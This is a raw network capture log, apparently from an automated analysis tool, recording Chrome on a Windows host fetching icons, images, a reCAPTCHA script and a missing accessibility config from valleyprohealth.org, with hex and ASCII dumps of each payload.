2024-04-24 12:44:27 UTC	1562	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49830	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:27 UTC	627	OUT	GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:27 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:27 GMT Content-Type: image/svg+xml Content-Length: 2133 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-855" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:27 UTC	2133	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 34 2e 37 33 38 34 20 36 39 2e 34 37 36 38 43 35 33 2e 39 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M34.7384 69.4768C53.9239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49832	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:27 UTC	627	OUT	GET /wp-content/uploads/2020/07/icon__service_4.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:27 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:27 GMT Content-Type: image/svg+xml Content-Length: 1536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-600" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:27 UTC	1536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 2e 34 37 36 38 20 36 39 2e 39 37 36 38 20 35 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49837	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:27 UTC	671	OUT	GET /recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:28 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 24 Apr 2024 12:44:27 GMT Date: Wed, 24 Apr 2024 12:44:27 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:28 UTC	727	IN	Data Raw: 35 30 35 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 505/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-24 12:44:28 UTC	565	IN	Data Raw: 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 79 49 73 49 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f Data Ascii: HVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po
2024-04-24 12:44:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49833	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:27 UTC	627	OUT	GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:27 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:27 GMT Content-Type: image/svg+xml Content-Length: 2326 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-916" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:27 UTC	2326	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49841	104.22.1.204	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	587	OUT	GET /config/valleyprohealth.org/config.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:28 UTC	591	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 12:44:28 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 127 Connection: close x-guploader-uploadid: ABPtcPo3UBDyL2d0o9WlvrqagSM3JtmTkjvAbqD4m3i6Q6-wZNqJVpj2-8C8ptUHDLpbNb2Y9pA access-control-allow-origin: * access-control-expose-headers: *, Cache-Control, Content-Length, Date, Expires, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Wed, 24 Apr 2024 12:44:28 GMT Cache-Control: public, max-age=300, must-revalidate CF-Cache-Status: MISS Server: cloudflare CF-RAY: 87962f54c85b09f5-LAS
2024-04-24 12:44:28 UTC	127	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49843	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	545	OUT	GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:28 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:28 GMT Content-Type: image/svg+xml Content-Length: 1562 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-61a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:28 UTC	1562	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49845	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	561	OUT	GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:28 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:28 GMT Content-Type: image/png Content-Length: 54996 Connection: close Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT ETag: "65ef3b12-d6d4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:28 UTC	16059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a9 00 00 02 08 08 06 00 00 00 15 0a ce 4d 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 e1 04 04 17 04 21 5a 42 33 bf 00 00 20 00 49 44 41 54 78 da ec bd 79 9c 1d 55 99 ff ff 3e 55 75 b7 5e d2 49 93 9d 25 80 09 09 4b 08 c8 2e 04 42 40 16 15 01 15 e3 82 0a 8c 82 f0 15 c4 71 74 be 0e 8e 33 5f c7 d1 19 46 07 07 04 77 45 10 63 04 19 11 85 b0 07 91 c5 b0 24 24 40 d2 49 67 ef ac bd 77 df ad aa ce f2 fb a3 ea de be b7 97 7b eb 76 50 fc f9 ba cf eb 75 e9 ee 50 b7 9e 3a e7 3c e7 d9 ea 79 3e 07 ea 54 a7 3a d5 a9 4e 75 aa 53 9d ea 54 a7 b7 96 04 42 38 47 7c e9 2a 3f ee 38 5c 7e dc 42 de 77 cc c9 98 be 1e b2 f7 dd Data Ascii: PNGIHDRMbKGDpHYstIME!ZB3 IDATxyU>Uu^I%K.B@qt3_FwEc$$@Igw{vPuP:<y>T:NuSTB8G\|*?8\~Bw
2024-04-24 12:44:28 UTC	16384	IN	Data Raw: 69 b1 9d 23 93 89 d4 0a 92 ce ba b8 9e 2e 51 3a e1 66 f6 bc e2 ef ae 57 fd e9 83 f5 d4 91 16 e3 cf 0a 58 b6 e2 f6 93 38 f6 d8 79 45 20 af b1 cc fd 60 56 82 81 e6 46 67 4c 73 af b5 c6 75 5d ae 7e a7 c7 99 67 55 f1 29 ff c2 40 5e be 05 6e b7 85 d5 08 9e 1d ba 3d a2 cc 43 47 e5 a1 f7 c5 a0 9d 24 3d 30 b4 8d 4b 3d 0e 26 41 7a ab 85 db b7 8d 28 a8 51 5e 57 0f 71 82 f6 6b 18 37 74 18 1a 83 97 cb 47 10 52 43 67 6f 16 83 5d 06 58 a6 b5 46 e5 f2 a1 79 d7 64 f3 7e 75 ae 46 93 cf 47 68 ac e2 2f 0c 58 36 96 90 de fd d0 4e b4 81 eb de 7f 70 45 21 8d d4 d2 fc 16 00 79 e5 b2 b0 ef 01 41 3c 01 f9 cc 50 37 63 b9 e1 82 0d 9f 0e 16 d6 72 46 b6 f9 62 43 d7 63 02 6b 0a f4 ad da 82 57 65 ed de f6 c0 cf 38 64 fe fc 62 af ff fe f8 fb 85 5e ff fe b5 6b e1 ec b3 2b ee de 6c ce c3 Data Ascii: i#.Q:fWX8yE `VFgLsu]~gU)@^n=CG$=0K=&Az(Q^Wqk7tGRCgo]XFyd~uFGh/X6NpE!yA<P7crFbCckWe8db^k+l
2024-04-24 12:44:29 UTC	16384	IN	Data Raw: 76 3a f3 f7 ee f8 5e ed 76 62 38 f4 c2 f7 20 f3 79 9c a4 b5 21 51 b4 a1 32 3b aa 68 66 c9 7e d0 da c2 e0 7c 1f e5 fb e8 54 8a 17 6f bd 0d 0a c0 b2 fe 8e 8d f8 9d dd d0 db 17 9f ee bb 67 e5 06 4c 9a 48 7f c7 46 a8 01 b8 5a bf 7e 3d 9d 9d 9d f4 f4 f4 0c eb b8 39 73 e6 b0 6d db b6 d2 29 c8 f1 b5 85 10 cc 99 33 87 2d 5b b6 0c eb cc c9 93 27 b3 7e fd fa da 3a b7 77 d2 d9 9f a1 27 1b 55 82 d9 0e 2d d5 d8 3f be f6 a0 fa 2d 8d 1f de e4 56 97 f5 db 3b 6b ea cc 76 6d 46 e7 7a 31 d1 a0 dd d0 3d 76 8e 97 dd cb ea b6 91 ed da 5c 53 27 21 0c e4 06 18 c8 0d f0 2a af 96 ce 4d 37 c5 f8 59 d6 a9 8c 5c 77 23 4a bf ff f0 ac 0f db 62 dc 1a 3a 07 37 74 10 76 75 21 fb fa 8b 27 83 8f c5 86 8a 68 cd 89 13 18 dc d0 01 05 60 99 01 a2 74 1a 19 04 14 b6 a9 8e 1d 78 63 d0 e9 74 43 35 Data Ascii: v:^vb8 y!Q2;hf~\|TogLHFZ~=9sm)3-['~:w'U-?-V;kvmFz1=v\S'!*M7Y\w#Jb:7tvu!'h`txctC5
2024-04-24 12:44:29 UTC	6169	IN	Data Raw: bc d8 a4 02 ab c1 30 f8 40 08 41 3c 12 27 1a 09 a0 5a 01 b0 cc 0c 59 9e 05 a0 5a 4a 23 b5 ec 87 87 79 2e b6 6b 07 5e d8 00 55 4c a7 30 31 b4 c0 50 21 c8 cb 8c 60 59 11 0c 44 2e 10 82 02 f8 b0 6c 00 84 42 e3 fb 1e ae f4 70 fc e0 bc 22 b3 24 c8 cb 44 09 03 df 30 30 62 31 74 34 52 10 3b c9 b1 c7 16 5c a4 09 21 d0 75 b5 68 d7 c3 77 9c c0 c1 1a c5 75 06 75 1b d4 5f 3c 1a c2 e0 2c ab ac 85 62 64 f4 48 50 1a df f3 50 9e 87 b2 9d 00 1c 6c 1a 25 74 66 01 74 a2 1f 40 67 45 42 e8 9d c1 66 7f 14 57 ec 98 c1 67 9a f6 61 a0 b9 a7 63 1c 49 df 62 7c ad 1f 12 f4 f2 60 70 32 84 c1 85 8b cd 80 f4 1c 8d f1 e7 13 d6 60 59 82 ad 86 c0 10 1e 62 b7 47 d3 bc ed 00 8c 9e 5f 5e 04 5b ee 2c 4a 5f a3 75 ac a8 91 c6 a2 31 2c d7 0a 82 11 5c f0 84 87 87 37 0c 60 99 20 a1 13 68 a5 f1 a3 Data Ascii: 0@A<'ZYZJ#y.k^UL01P!`YD.lBp"$D00b1t4R;\!uhwuu_<,bdHPPl%tft@gEBfWgacIb\|`p2`YbG_^[,J_u1,\7` h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49844	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:28 UTC	545	OUT	GET /wp-content/uploads/2020/07/icon__service_3.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:44:28 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:28 GMT Content-Type: image/svg+xml Content-Length: 2133 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-855" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
